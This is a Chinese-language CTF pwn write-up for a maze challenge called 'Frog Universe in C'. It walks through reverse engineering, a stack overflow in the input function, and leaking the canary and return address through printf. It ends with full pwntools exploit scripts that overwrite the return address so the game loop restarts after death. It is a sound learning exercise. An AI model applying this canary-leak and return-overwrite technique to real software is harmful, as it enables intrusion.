Frog Universe in C (FUC)
题目链接:
百度网盘(提取码yxxx)
🧥前言
这道题是我目前做过的最浪漫的一道pwn题了,做到后面越来越激昂,有种杀穿银河的感觉,题目的描述是一首英文小诗:
进入由比特与字节组成的银河。
在群星之间,你将对抗死亡。
即使没有呼吸,你还会继续前行吗?
夜晚的青蛙呱呱地叫。
对你来说,群星和跳跃者是一种诅咒。
如果你先搜索广度,他们会消耗你。
如果你先搜索深度,他们仍然会赢。
在零和一之间,你会找到光明吗?
用字符自由地喂养宇宙。
你慷慨的喂养会使你移动。
你能毫不犹豫地穿过危险吗?
危机已经弥漫开来了。。。
缓冲区中有漏洞待发现。
🧤Frog Universe in C (FUC)(栈溢出)
🧣分析
checksec查看。64位,开启RELRO,无法修改got表为system地址。开启canary,很难栈溢出。开启NX,无法将shellcode写入栈上执行。开启PIE,地址随机化,并且IDA只能查看相对偏移。
运行一下,发现提示:需要1个变量作为flag,也就是说,在远程服务器上,这题运行的时候,远程的flag会以参数的形式传进maze运行。所以要运行这题,你要加一个参数进去。
这里随便用个AAAA作为参数,因为这方便后面看flag在哪个位置。程序按wasd来移动,移动后会显示当前坐标。
推测flag应该藏在某个坐标中,如果是这样的话,将每个坐标遍历就可以找到flag了,但是。。。
“对你来说,群星和跳跃者是一种诅咒。”
在移动的过程中,遇到青蛙或者是群星都会死亡
light,dust,dense表示附近有群星
ribbit,giggle,chirp表示附近有青蛙。
everything is light,it is crushing,intense heat表示这个坐标就是群星,你死亡,程序结束。
slurp,ribbity!,the frog…表示这个坐标就是青蛙,你死亡,程序结束。
因此无法通过遍历所有坐标的方法找到flag,那能不能通过运气好爆破找到呢?并不能,强行爆破1万次是找不到的(我在当时爆破了半小时),后面会介绍。
上来就给你二十多个函数,C语言不好表示很崩溃。
先判断a1等不等于2,这是flag的标志位,判断是否传了一个参数进来,如果没有传参数进来直接结束程序。a2显然就是传进来的参数,也就是flag,然后然后下面一堆乱七八糟的赋值其实就是让s=flag,最后将s传进sub_29FD这个函数,然后清空s和a2,也就是说,flag只能保存在sub_29FD这个函数里的某个位置,因为外面的flag被清除了。之后输出一段欢迎的话,进入sub_2F7A。
这里简要说明一下每个函数的作用(我一开始是不知道的,只能挨个来回看,到最后才明白每个函数的作用),以便后面更好理解:sub_29FD是设置一个400 * 400的地图,用坐标来表示就是(0,0)到(399,399),然后还会靠随机数设置每一个坐标有什么东西,一共有四种:空,青蛙,群星,flag。flag只有一个坐标,而且这个坐标还有范围,后续会讲到。sub_2F7A是移动和判断,先移动,然后判断那个坐标有什么,如果有青蛙或者群星则死亡,如果有flag则输出flag。sub_1797是清除整个地图。
那么改个名:
先进入set函数看看
又蹦了一堆函数出来,我们可以看到刚刚在主函数传进来的flag传到了第4个函数。先去看看第1个函数。
然后再进sub_15A5这个函数看一下
是malloc函数,下面的sub_1488是检查是否malloc成功用的。把这个函数改名为mal
也就是说qword_6080这个地址的值是一个指向一块chunk的指针。将这个地址的名字改为map1。
然后下面的一堆乱七八糟的计算,然后还有mal函数,都不用管,到后面就明白了,大概理解一下就是创建出了从400 * 400的地图,然后每一个坐标指向了一段malloc到的chunk地址,也就是说有160000个chunk。然后每个chunk大小是0x58,chunk中记录了当前坐标的信息。
之后退回到set函数里,查看第3个函数,为什么不看第2个函数呢?第2个函数中全是计算,看不懂也懒得看,影响不是很大。
上来扔了一个随机数,然后又扔了两个,v3和v4的范围是25~375,然后传进sub_1885。看一下sub_1885函数
这是一个重要函数,之前我因为没有看懂这个函数吃了大亏。简单来说,传进来的随机数v3是地图的x坐标,v4是y坐标,然后会比较(x,y)是否大于i = (0,0),如果大于,就将i赋值为(x,y),然后返回这个坐标。将这个函数命名为jump_set
然后再回去,看一下下一行的sub_18A7
这个函数的作用就是设置这个坐标有什么,也就是上面提到的4种类型,但是这里只会设置2种类型,一个是群星,一个是青蛙,-2和-1是它们的标志位,-2代表群星,-1代表青蛙,在move移动和判断的时候,每个坐标都是一个单独的chunk,如果移动到了这个坐标,然后会查看这个坐标的标志位,如果是-1或者-2,你死亡。将这个函数改名为set_debuff。
所以这第3个函数,会将范围为(25 ~ 375,25 ~ 375)的坐标随机设置debuff,踩到就死。
然后再返回set函数,看看最关键的第4个函数,这个函数的参数是flag。
上来扔了一堆随机数,然后jump_set,v3的取值范围是(0,24)或(376,399),v4的取值范围是(0,24)或(376,399),也就是说v3和v4能组合成为的坐标的范围是:(0 ~ 24,0 ~ 24) (0 ~ 24,376 ~ 399) (376 ~ 399,0 ~ 24) (376 ~ 399,376 ~ 399) ,一共是四个范围,分别对应了地图的4个角。
然后从范围中随机选一个坐标,将其标志位改为1,然后将flag放入其中。
之后再回到set函数,看看最后一个return的函数。
这个函数主要是设置了出生点,又有一个jump_set函数,出生的范围在(150 ~ 250,150 ~ 250),也就是地图中间。那么目标就明确多了,我们要从中间跑向四个角去寻找flag
回到主函数,进入move函数查看
是一个循环。这个循环上来让i = 1,然后判断i是否等于 1 ,如果等于1就继续进行循环。wsad移动,qword_6088这个地址是表示自身坐标用的,之前的qword_6080(改名后为map1)是表示(0,0)坐标,然后通过链表的形式表示出整个地图。我们将qword_6088改名为map2。
map1和map2都是bss段上的地址
再回到move函数。
首先会输出你当前的坐标,map2也是一个0x58的chunk,前8字节的前4字节储存了x坐标,后4字节储存了y坐标。然后执行sub_2F26
在这个函数中,存在栈溢出漏洞,v2与rbp的距离只有4,然而却能写入37字节。这个函数利用了自身的嵌套,10转换为ascii码是\n,当接收到\n时,停止接收,跳出循环。
然后回去看下面的switch,switch只能接收一个字符或整数。刚刚如果是输入w111111的话,就只能接收w,然后去到case w 的地方。如果是输入1111111的话,会接收1111111,去到default的地方。如果是输入1wwwww的话,也是接收1,去到default的地方。然后发现default这个地方会printf %s打印出v1这个地址中的值,%s的规则是遇到换行符\n不停止,遇到\0停止。因此这里可以通过栈溢出完成地址泄露,先泄露canary,再泄露rbp(不太重要),最后泄露返回地址。同时,栈溢出的话第一个字符不能是wasd,不然就到不了default了。然后这个循环结束后,会进入sub_2D2F函数,这个函数主要作用是改变i的值,跳出循环。
然后是中间的wasd。之前提到过map2是一个自身坐标的chunk,地图的每一个坐标都是一个chunk,map2 + 8这个地址存放了左边一个坐标的chunk地址,因此你按a后,会将左边一个坐标的chunk地址赋值给自身坐标的chunk,自身坐标的chunk就看上去向左移动了一样。其他的也一样。
看看sub_2D2F。map2 + 40这个地址的值是这个坐标的标志位,在之前提到过。-2代表群星,-1代表青蛙,1代表flag,default的那些是警告,如果你旁边有群星或者青蛙的话,会有提示。可以看到,退出程序只有2种方法,要么死亡,要么获得flag。我在一开始的时候,想着栈溢出改返回地址为这个case 1 的地址,然后就能直接获得flag了,但其实并不行。因为他会将自身坐标的chunk作为参数传进去。
看一下funcs_2DAB。有8个可能跳转到的函数,为什么是8个呢?这是因为在之前的set函数的第1个函数中设置了这个随机值。
也就是说会随机跳转到这8个函数中的任意一个,这8个函数的功能其实都是一样的,就是输出最后的flag。
随便进入一个查看。a1就是你当前的自身坐标,下面有个lea rax,aSS作用就是%s %s,先打印那段文字,再打印你自身坐标。所以你直接改返回地址跳到这里是不行的,因为你自身坐标错误,你当前所在的坐标并没有flag,因此无法打印出来。
至此,全部函数分析完毕,大致地知道了地图的结构,下面是地图大概的样子:
注:出生点也属于银河
观察这个地图,我们可以知道,只要冲进安全区,就可以不用害怕怪物了,flag就可以遍历出来了。然而进入安全区前有个生命禁区,必定会让你死一次,因此,我们需要打造一个复活甲,死亡后再复活一次继续前进。
正如开头小诗中所说“ 即使没有呼吸,你还会继续前行吗?”
观察地图还可以知道开头小诗的这两句的意思:
“如果你先搜索广度,他们会消耗你。”
“如果你先搜索深度,他们仍然会赢。”
搜索广度是指搜索银河的正方形范围,会被低概率随机刷的小怪杀死。
搜索深度是指往一个方向走,最后会碰到生命禁区,也会死亡。
那么复活甲如何打造呢?就要依靠栈溢出了。move的时候是一个for循环,在循环结束后,才会跳到返回地址,因此改一次返回地址就可以了,后续每次移动就不需要改了。将返回地址改为for循环开始的地址,这样死亡后,ret就ret到了for循环,继续进行move的操作,也就相当于给我们套上了一层复活甲。有了这层复活甲后,就可以有概率冲进安全区了,为什么是有概率呢?因为银河也有可能遇怪,生命禁区也不止固定的那一个怪,也会高密度刷怪,有这样一层复活甲只是挡住了必死的那一下,然后就看运气爆破了。
为什么不这样做呢:走一步就recv()一下看看自己死没死,如果死了再重新套一层复活甲;或者是走一步不管死没死都套复活甲。这在本地是可行的,但是远程服务器只给了大概20s左右的时间,时间一到就断开连接,recv()需要花费大量的时间,可能还没跑到服务器就结束进程了。因此我不用recv()这些耗费时间的东西,必须要抓紧时间冲刺,而且冲刺成功的概率其实并不低,大约是1/5的概率能够冲进安全区,这个概率已经够大了。
终于,进入到了解题环节。
🧣解题
先打开gdb看看chunk的结构。
输入gdb --args 就可以给程序启动时传参了。这里感谢一下UKFC安全团队的师傅让我了解了这个方式。
按r后马上按ctrl+c,定在程序开始,还没放入flag的时候,因为等会要看flag放入了哪个坐标。
输入b *$base(0x2920)定在将要把flag放进去的时候。按c继续执行程序。
可以看到程序即将把flag放入0x55555633ca70,进去看一下。
这里减了0x50是为了更好地看chunk结构。ca30是chunk的控制信息,接下来就是x和y坐标,f是x坐标,17b是y坐标,转换一下就是(15,379),根据地图可以知道是在左上角的那个flag区域。
然后后面的4个8字节的55开头的,分别记录了4个chunk地址,分别表示上下左右四个chunk,你按wasd,会将当前chunk地址变为那个chunk地址,然后那个chunk中又有这样的4个chunk。再后面的1个8字节就是这个坐标的标志位了,这里标志位为1,代表这个地方是flag,如果是群星或者是青蛙这里就是-2或-1,如果是空坐标这里就为0。
按n单步运行一下,再看一下,发现flag已经被放入了进来。
然后按c运行程序,在按ctrl+c停住,去看一下bss段的那两个map的结构
也是两个chunk的指针。分别看一下
map1表示的是地图的坐标。开始是(0,0)下面是(0,1)
map2表示的是自身的坐标,现在在(222,231),正在出生点的范围。
接下来开始做复活甲。
from pwn import *
file_name = './maze'
flag = '{AAAA-BBBB-CCCC-DDDD}'
debug = 0
if debug:
io = remote('112.6.51.212',32808)
else:
io = process([file_name,flag])
elf = ELF(file_name)
context(arch = elf.arch,log_level = 'debug',os = 'linux')
def dbg():
gdb.attach(io)
io.sendline(b'1' * 0x5 + b'4')
io.recvuntil('14')
canary = u64(io.recv(7).rjust(8,b'\0'))
success('canary =>> ' + hex(canary))
io.interactive()
先泄露canary,打本地的话pwntools需要用io = process([file_name,flag])给进程一个参数。理论上送5个字节后就是canary,但是canary的最末位是\0,printf遇到\0就停止了,也就打印不出来canary了,因此要将这个\0覆盖掉,然后泄露出7位的canary,最后再补上一位\0就可以了
用同样的方法可以泄露出ret的值。这里的基地址应该是0x563047d6f431 - 0x3431 ,因为正常程序执行的话等会要ret到move函数的下一格,下一格的偏移是0x3431,也可以用gdb去看。for函数开始的地址是0x3427。因此用一下代码计算:
a = ret&0xfff
ret = ret - a - 0x0000 + 0x427
success('ret =>> ' + hex(ret))
这里其实取后两位就可以了,但是我这里写了个通用的方法,取了后三位,然后0x563047d6f431减去后三位的值,变成0x563047d6f000后,再减去页的偏移,这里都是0x3开头的,就不用了,如果像是0x2427的话,就是减0x1000,如果是0x1427的话,就是减0x2000。最后加上想要改的地址的末三位就行了。
至此,复活甲就做好了,完整代码如下:
def restart():
io.sendline(b'1' * 0x5 + b'4')
io.recvuntil('14')
canary = u64(io.recv(7).rjust(8,b'\0'))
success('canary =>> ' + hex(canary))
io.sendline(b'1' * 0xD + b'1' * 0x7 + b'3')
io.recvuntil('13')
ret = u64(io.recv(6).ljust(8,b'\0'))
success('ret =>> ' + hex(ret))
a = ret&0xfff
ret = ret - a - 0x0000 + 0x427
success('ret =>> ' + hex(ret))
io.sendline(b'1' * 0x5 + p64(canary) + p64(0) + p64(ret))
之后就是冲刺了!!!一个劲地往一个方向冲就行了,进安全区就有95%的概率拿到flag。
def move(where1,where2,where3,where4):
k = 22
for i in range(11):
for i in range(k):
io.sendline(where1)
for i in range(k):
io.sendline(where2)
for i in range(k):
io.sendline(where3)
for i in range(k):
io.sendline(where4)
io.sendline(where1)
io.sendline(where2)
k = k - 2
for i in range(11):
io.sendline(where3)
io.sendline(where4)
io.recvuntil('(')
x = io.recvuntil(', ',drop =True)
y = io.recvuntil(')',drop =True)
success('x =>> ' + str(x))
success('y =>> ' + str(y))
restart()
try:
for i in range(int(y)):
io.sendline('w')
for i in range(int(x)):
io.sendline('a')
move('s','d','w','a')
for i in range(400):
io.sendline('s')
move('d','w','a','s')
for i in range(400):
io.sendline('d')
move('w','a','s','d')
for i in range(400):
io.sendline('w')
move('a','s','d','w')
except:
io.recv()
finally:
io.interactive()
脚本开始接收了一下当前坐标,然后套上了复活甲。按w是向下走,s是向上,a是向左,d是向右。
我这里是按了y次w,也就是说先往下冲,将y坐标归零,然后按了x次a,将x坐标归零。然后定义了一个move函数,开始遍历(0,0)到(24,24)的那个左下角角落能刷flag的范围。但是我这里是遍历了(0,0)到(22,22),因为在flag那个范围的边线(25,25)的那一个范围会有怪,虽然在右下角你遍历这个范围不会碰到,但是在左上角或者是右上角的时候,因为上方的坐标最高是(399,399),在下面的24,对于上面来说就是25,而25就出了安全区,就会高强度刷怪,所以我图方面也懒得写那么复杂的完美脚本去遍历,毕竟这是pwn题,不是python题,拿到flag就行了。直接缩小点范围省事,如果flag刷到了那些范围就重来一次吧,概率很小的。
我的遍历路线是这样的:
先去到(0,0)
再按照这样圆圈的方式去到中间,(0,0)到(22,22)的这个正方形的中间是(11,11),也就是遍历完后会刚好停到(11,11),这时候往左下角走11格后回到(0,0)。回到(0,0)后向上走400格到(0,399)(实际上是走399格,为了好看就懒得改,反正走出边界不会死)。然后继续遍历那个左上角的格子,然后是去右上角,遍历后去右下角,挨个把4个格子遍历完后拿到flag。
此题终结,成功杀穿银河!!!
远程(在右下角找到了flag)
本地(在左下角找到了flag)
结束的标语有8个,会随机不一样,这里随机的两次刚好一样。
🧣exp
from pwn import *
file_name = './maze'
flag = '{AAAA-BBBB-CCCC-DDDD}'
debug = 0
if debug:
io = remote('chall.pwnoh.io',13387)
else:
io = process([file_name,flag])
elf = ELF(file_name)
context(arch = elf.arch,log_level = 'debug',os = 'linux')
def dbg():
gdb.attach(io)
def restart():
io.sendline(b'1' * 0x5 + b'4')
io.recvuntil('14')
canary = u64(io.recv(7).rjust(8,b'\0'))
success('canary =>> ' + hex(canary))
io.sendline(b'1' * 0xD + b'1' * 0x7 + b'3')
io.recvuntil('13')
ret = u64(io.recv(6).ljust(8,b'\0'))
success('ret =>> ' + hex(ret))
a = ret&0xfff
ret = ret - a - 0x0000 + 0x427
success('ret =>> ' + hex(ret))
io.sendline(b'1' * 0x5 + p64(canary) + p64(0) + p64(ret))
def move(where1,where2,where3,where4):
k = 22
for i in range(11):
for i in range(k):
io.sendline(where1)
for i in range(k):
io.sendline(where2)
for i in range(k):
io.sendline(where3)
for i in range(k):
io.sendline(where4)
io.sendline(where1)
io.sendline(where2)
k = k - 2
for i in range(11):
io.sendline(where3)
io.sendline(where4)
io.recvuntil('(')
x = io.recvuntil(', ',drop =True)
y = io.recvuntil(')',drop =True)
success('x =>> ' + str(x))
success('y =>> ' + str(y))
restart()
try:
for i in range(int(y)):
io.sendline('w')
for i in range(int(x)):
io.sendline('a')
move('s','d','w','a')
for i in range(400):
io.sendline('s')
move('d','w','a','s')
for i in range(400):
io.sendline('d')
move('w','a','s','d')
for i in range(400):
io.sendline('w')
move('a','s','d','w')
except:
io.recv()
finally:
io.interactive()